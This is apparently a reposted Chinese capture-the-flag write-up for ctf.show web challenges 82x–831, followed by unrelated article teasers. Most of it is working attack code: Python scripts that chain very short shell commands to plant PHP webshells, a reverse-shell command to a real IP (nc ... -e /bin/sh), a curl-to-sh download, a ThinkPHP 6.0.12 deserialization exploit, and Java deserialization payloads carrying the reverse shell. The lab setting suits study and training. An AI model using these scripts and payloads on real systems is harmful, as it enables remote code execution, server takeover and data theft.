怎么缩也不可能7字以内外带的吧,只能思考是不是执行临时文件之类的

脚本:

import requests
url="http://b5c4ec71-c6bd-4e47-97a9-404d5de7cc69.challenge.ctf.show/"
file={'file':'nc  124.222.136.33 1337 -e /bin/sh'}
r= requests.post(url,files=file,data={'cmd':'. /t*/*'})

这里主要是用.+文件名执行命令支持通配符,可以大大缩短长度

web823

5字符可写,有dir命令

思路就是:

将index.php变成.php
将临时文件打包到当前目录
使用php执行tar压缩包(虽然前面有tar的字节,但是php代码的明文保存了下来,方便php直接执行)

脚本:

import requests
import time

url = "http://6c59c312-ca0d-488a-9e79-b26653603274.challenge.ctf.show/"
url_2 = url+".php"
delay = 1

chagneFile_payload=[
'>cp',
'>k',
'*',
'rm cp',
'>pc',
'>dir',
'*>v',
'>rev',
'*v>z',
'rm v',
'rm k',
'rm z',
'rm pc',
'rm *v',
'>php.',
'>j\\#',
'>vm',
'*>v',
'>rev',
'*v>z',
'sh z'
]

clearFile_payload=[
'rm d*',
'rm j*',
'rm p*',
'rm r*',
'rm v*',
'rm z'
]

shell_payload=[
'>tar',
'>vcf',
'>z'
]

file={
    'file':b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>'
}


def changeFile():
    for p in chagneFile_payload:
        sendPayload(url,p)
        print("[*] create "+p.strip())
        time.sleep(delay)

def clearFile():
    for p in clearFile_payload:
        sendPayload(url_2,p)
        print("[*] create "+p.strip())
        time.sleep(delay)

def getshell():
    for p in shell_payload:
        sendPayload(url_2,p)
        print("[*] create "+p.strip())
        time.sleep(delay)
    data={
        "cmd":"* /t*"
    }
    requests.post(url_2,data=data,files=file)
    data={
        "cmd":"php z"
    }
    requests.post(url_2,data=data)

def checkShell():
    response = requests.get(url+"1.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is "+url+"1.php")

def sendPayload(url,payload):
    data={
    "cmd":payload
    }
    requests.post(url,data=data)



def run():
    changeFile()
    clearFile()
    getshell()
    checkShell()

def main():
    run()

if __name__ == '__main__':
    main()

web824

5字符可写无dir命令

匹配了所有带h的行,将其重新写到index.php中,有点对敌特攻的意思(

脚本:

import requests
import time

url = "http://b024a2bc-8ec6-4e70-bbee-13cb62f358e4.challenge.ctf.show/"

payload=[
">grep",
">h",
"*>j",
"rm g*",
"rm h*",
">cat",
"*>>i",
"rm c*",
"rm j",
">cp",
"*"
]

def writeFile(payload):
    data={
    "cmd":payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create "+p.strip())
        time.sleep(0.5)
    print("[*] Attack success!!!Webshell is "+url)

def main():
    run()

if __name__ == '__main__':
    main()

执行后是这种效果,可以绕过长度限制为所欲为了

web825

4字符,可写,有dir


linux中dir和ls的区别:都是将当前目录的文件和文件夹按照顺序列出在同一行,但是ls经过管道或重定向后,结果是换行的,而dir经过管道或重定向后,见过是不换行的。
如果用ls拼接命令,在保证顺序的基础上,需要在每行后面加一个\来拼接下一行的命令
用dir命令就不需要\来拼接,只要保证顺序正确就行

只打一个*执行命令的原理:举个例子,当文件夹下面有ls m n o p q文件时,只执行一个*就等效于执行ls m n o p q这个命令,把第一个作为命令,后面的作为参数。再有,如果一个目录下有rev v两个文件,执行一个*v就相当于执行rev v,将v文件的内容逆序输出

脚本:

import requests
import time

url = "http://999c346d-7b65-48e1-9db5-593b36c0a736.challenge.ctf.show/"

payload = [
'>sl',
'>kt-',
'>j\\>',
'>j\\#',
'>dir',
'*>v',
'>rev',
'*v>x',
'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',
'sh x',
'sh j'
]

def writeFile(payload):
    data={
    "cmd":payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create "+p.strip())
        time.sleep(0.3)

def check():
    response = requests.get(url+"a.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is "+url+"a.php")

def main():
    run()
    check()

if __name__ == '__main__':
    main()

x文件内容

ls    -tk  >j  #j  php.xedni

j内容就是一个base64的逆序

成功写shell,/a.php?1=eval($_POST[1]);继续post转接,蚁剑连shell看数据库

web826

4字符,可写,无dir,可出网

 http://2030350346已经寄了,这个得自己搭一个恶意代码的服务器

建议用web827的脚本来打,通用性更强(

import requests
import time

url = "http://b6902616-877f-4ea3-8033-a562c3891238.challenge.ctf.show/"

payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',

#curl 2030350346|sh
#echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
'>sh',
'>\\|\\',
'>46\\',
'>03\\',
'>35\\',
'>30\\',
'>20\\',
'>\\ \\',
'>rl\\',
'>cu\\',

'sh z',
'sh a',
]
def writeFile(payload):
    data={
    "cmd":payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create "+p.strip())
        time.sleep(1)

def check():
    response = requests.get(url+"1.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is "+url+"1.php")

def main():
    run()
    check()

if __name__ == '__main__':
    main()

web827

4字符,可写、无dir,不出网

最少可以在4字符无dir的环境下拼接ls -t
当空格不够用时可以用$IFS,但是要注意命令部分不能有重复的字符组合
getshell的方式有很多种,需要根据环境来选择,如wget,curl,强制文件上传,无外网情况下getshell

脚本:

import requests
import time

url = "http://9664b651-d71a-423a-94c4-6389e13273fb.challenge.ctf.show/"

payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',

'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',


'sh z',
'sh a'
]

def writeFile(payload):
    data={
    "cmd":payload
    }
    requests.post(url,data=data)

def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create "+p.strip())
        time.sleep(1)

def check():
    response = requests.get(url+"a.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is "+url+"a.php")

def main():
    run()
    check()

if __name__ == '__main__':
    main()

web828

国赛TP6的反序列化

 ThinkPHP V6.0.12LTS,顺着版本号嘎嘎找

ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

题目源码拿到反序列化入口

 构造exp:

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['cat /f*']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

 bp发包

web829

题目附件:

package com.ctfshow.controller;

@Controller
@RequestMapping("/")
public class IndexController {

    @RequestMapping(value = "/",method = RequestMethod.POST)
    @ResponseBody
    public String index(HttpServletRequest request){
        User user=null;
        try {
            byte[] userData = Base64.getDecoder().decode(request.getParameter("userData"));
            ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(userData));
            user = (User) objectInputStream.readObject();
        }catch (Exception e){
            return "base64 decode error";
        }

        return "unserialize done, you username is "+user.getName();
    }

    @RequestMapping(value = "/",method = RequestMethod.GET)
    @ResponseBody
    public String index(){
        return "plz post parameter 'userData'  to unserialize";
    }
}


package com.ctfshow.entity;

public class User implements Serializable {

    private static final long serialVersionUID = -3254536114659397781L;
    private String username;

    public User(String username) {
        this.username = username;
    }

    public String getName(){
        return this.username;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.username);
    }
}

User的readObject方法直接命令执行了

这不是白送

exp类

package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        User user = new User("nc 124.222.136.33 1337 -e /bin/sh");
        serialize(user);
    }
    public static void serialize(Object obj) throws IOException, IOException {
        ByteArrayOutputStream data =new ByteArrayOutputStream();
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    };

}

User类

package com.ctfshow.entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable {

    private static final long serialVersionUID = -3254536114659397781L;
    private String username;

    public User(String username) {
        this.username = username;
    }

    public String getName(){
        return this.username;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.username);
    }
}

payload:

userData=rO0ABXNyABdjb20uY3Rmc2hvdy5lbnRpdHkuVXNlctLVkKWhC+9rAgABTAAIdXNlcm5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAIW5jIDEyNC4yMjIuMTM2LjMzIDEzMzcgLWUgL2Jpbi9zaA==

监听,反弹shell

web830

这次恶意readObject方法在父类

构造exp:

package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        User user = new User("Z3r4y");
        user.secret="nc 124.222.136.33 1337 -e /bin/sh";
        serialize(user);
    }
    public static void serialize(Object obj) throws IOException, IOException {
        ByteArrayOutputStream data =new ByteArrayOutputStream();
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    };

}

监听,反弹shell

web831

题目把User类ban了,问题不大,我们直接反序列化BaseUser类

利用readObject方法来实现代码执行是在生成完整对象前利用,即对象生成后不再使用,只是借用生成对象时调用readObject方法来达成命令执行的效果

如果父类存在可利用的readObject方法,那么既可以反序列化子类,也可以反序列化父类,都可以调用父类的readObject方法,即使报错类型转换异常,因为readObject方法已经被调用,我们的目的也已达到。

package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        BaseUser baseUser = new BaseUser();
        baseUser.secret="nc 124.222.136.33 1337 -e /bin/sh";
        serialize(baseUser);
    }
    public static void serialize(Object obj) throws IOException, IOException {
        ByteArrayOutputStream data =new ByteArrayOutputStream();
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    };

}

监听,反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1469368.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python统计分析——单因素方差分析

参考资料&#xff1a;用python动手学统计学 方差分析&#xff1a;analysis of variance&#xff0c;缩写为ANOVA 1、背景知识 1.1 要使用方差分析&#xff0c;数据的总体必须服从正态分布&#xff0c;而且各个水平内部的方差必须相等。 1.2 反复检验导致显著性结果更易出现…

专业130+总分410+上海交通大学819信号系统与信号处理考研上交电子信息通信生医电科,真题,大纲,参考书。

今年考研顺利结束&#xff0c;我也完成了目前人生最大的逆袭&#xff0c;跨了两个层级跨入c9&#xff0c;专业课819信号系统与信息处理135&#xff0c;数一130总分410&#xff0c;考上上海交大&#xff0c;回想这一年经历了很多&#xff0c;也成长了很多。从周围朋友&#xff0…

Mysql数据库学习之范式

范式 范式简介 在关系型数据库中&#xff0c;关于数据表设计的基本原则、规则称为范式。可以理解为&#xff0c;一张数据表的设计结构需要满足的某种设计标准的级别&#xff0c;要想设计一个结构合理的关系型数据库&#xff0c;必须满足一定的范式。 范式都包含哪些 6种范式…

在当前源文件的目录或生成系统路径中未找到文件

vsqt中增加&#xff0c;减少文件&#xff0c;都必须要动一下cmakelist.txt,点一下换行或者保存 因为vsqt反应不过来 1。都必须要动一下cmakelist.txt,点一下换行或者保存 2.然后全部重新生成&#xff0c;或者重新扫描解决方案&#xff08;多扫几次&#xff09;

SSM项目集成Spring Security 4.X版本 之 加入DWZ,J-UI框架实现登录和主页菜单显示

目录 前言 一、加入DWZ J-UI框架 二、实现登录页面 三、实现主页面菜单显示 前言 大家好&#xff01;写文章之前先列出几篇相关文章。本文内容也在其项目中接续实现。 一. SSM项目集成Spring Security 4.X版本&#xff08;使用spring-security.xml 配置文件方式&#xff…

IDEA中Vue的安装和使用【window10】

一.准备工作 Vue是前端开发框架。搭建框架&#xff0c;首先要搭建环境。搭建Vue的环境工具&#xff1a;node.js&#xff08;JavaScript的运行环境&#xff09;&#xff0c;然后再用nodejs里面的npm&#xff08;包管理和分发工具&#xff09;来安装依赖包。二.安装node.js 下载…

【办公类-22-07】周计划系列(2)“主题知识” (2024年调整版本)

作品展示 调用原来的主题知识素材&#xff0c;制作下学期的19周的主题知识word 背景需求&#xff1a; 开学了&#xff0c;继续做周计划系列&#xff0c;在原有基础上&#xff0c;进行进一步代码优化 【办公类-22-02】周计划系列&#xff08;2&#xff09;-生成“主题知识”&…

【Android】View 与 ViewGroup

View 是 Android 所有控件的基类&#xff0c;我们平常所用的 TextView 和 ImageView 都是继承自 View 的&#xff0c;源码如下&#xff1a; public class TextView extends View implements ViewTreeObserver.OnPreDrawListener {... }public class ImageView extends View {.…

升级加薪聊绩效过程中,如果我觉得自己受到了老板“不公正”的对待,该如何“怼”回去?...

老板与员工谈绩效 今天分享的主题是「职场的向上管理」 什么是向上管理&#xff1f; 向上管理是一种有自主意识的方法 通过与你的老板在目标上达成共识&#xff0c;并最终用这个目标满足你、你的老板、你的组织的最大利益 向上管理与你的老板无关&#xff0c;老板都没得选的&am…

Java JDK 下载和配置

Java JDK 下载 下载网址&#xff1a;https://www.oracle.com/java/technologies/javase/jdk21-archive-downloads.html jdk文件夹的目录介绍 bin: 主要存放的是Java的编译器、解析器等工具。 jre&#xff1a;Java runtime environment, Java 运行时环境。 jre/bin:Java平台…

RuntimeError: CUDNN_STATUS_EXECUTION_FAILED

问题描述&#xff1a; 运行代码时候报错&#xff1a; 原因&#xff1a;pytorch与cuda版本不对&#xff0c;需要重新安装。不过我在复现代码的时候一般是要求特定的环境&#xff0c;不然会有其他错误&#xff0c;所以选择其他解决办法。 解决方案&#xff1a; 在train.py开头…

【图论】【堆优化的单源路径】LCP 20. 快速公交

作者推荐 【广度优先搜索】【网格】【割点】【 推荐】1263. 推箱子 LCP 20. 快速公交 小扣打算去秋日市集&#xff0c;由于游客较多&#xff0c;小扣的移动速度受到了人流影响&#xff1a; 小扣从 x 号站点移动至 x 1 号站点需要花费的时间为 inc&#xff1b; 小扣从 x 号站…

MySQL--索引结构

索引-索引结构 1. 概述2. 二叉树3. B-Tree4. BTree5. Hash 1. 概述 MySQL的索引是在存储引擎层实现的&#xff0c;不同的存储引擎有不同的索引结构&#xff0c;主要包含以下几种&#xff1a; 上述是MySQL中所支持的所有的索引结构&#xff0c;下面展示不同的存储引擎对于索引…

如何连接ACL认证的Redis

点击上方蓝字关注我 应用程序连接开启了ACL认证的Redis时与原先的方式有差别&#xff0c;本文介绍几种连接开启ACL认证的Redis的Redis的方法。 对于RedisACL认证相关内容&#xff0c;可以参考历史文章&#xff1a; Redis权限管理体系(一&#xff09;&#xff1a;客户端名及用户…

计算机网络-网络互联

文章目录 网络互联网络互联方法LAN-LAN&#xff1a;网桥及其互连原理使用网桥实现LAN-LAN使用交换机扩展局域网使用路由器连接局域网 LAN-WANWAN-WAN路由选择算法非自适应路由选择算法自适应路由选择算法广播路由选择算法&#xff1a;分层路由选择算法 网络互联 网络互联是指利…

设备树详解

设备树(Device Tree)基本概念及作用 设备树(Device Tree)基本概念 在内核源码中,存在大量对板级细节信息描述的代码。这些代码充斥在/arch/arm/plat-xxx和/arch/arm/mach-xxx目录,对内核而言这些platform设备、resource、i2c_board_info、spi_board_info以及各种硬件的…

神经网络系列---分类度量

文章目录 分类度量混淆矩阵&#xff08;Confusion Matrix&#xff09;&#xff1a;二分类问题二分类代码多分类问题多分类宏平均法:多分类代码多分类微平均法&#xff1a; 准确率&#xff08;Accuracy&#xff09;&#xff1a;精确率&#xff08;Precision&#xff09;&#xf…

EasyRecovery2024免费不要钱的电脑数据恢复软件下载

EasyRecovery 2024易恢复软件在数据恢复方面的表现评价&#xff0c;EasyRecovery 2024易恢复软件在数据恢复领域享有良好的声誉&#xff0c;它提供了全面的功能&#xff0c;易于使用的界面以及可靠的数据恢复效果。以下是对该软件在数据恢复方面的详细评价&#xff1a; EasyRec…

03|JOIN关联查询优化

1. mysql关联算法 1.1 嵌套循环连接 Nested-Loop Join(NLJ) 算法 先去t2表&#xff08;驱动表&#xff09;拿一行数据,然后去t1表&#xff08;被驱动表&#xff09;做关联, 关联之后把结果集存下来最后返回. 1.2 基于块的嵌套循环连接 Block Nested-Loop Join(BNL)算法 1.把 t…

森歌深化体育营销战略,揭晓2024奥运新代言人,携手共创影响力奇迹

2024年&#xff0c;奥运龙年的春节将将过去&#xff0c;各大高端品牌便纷纷开始激烈博弈。森歌有备而来&#xff01;布局早&#xff0c;积累深&#xff0c;以其深入骨髓的体育情怀和独具匠心的品牌策略&#xff0c;成为厨电行业的佼佼者。2月27日-2月28日&#xff0c;森歌将在杭…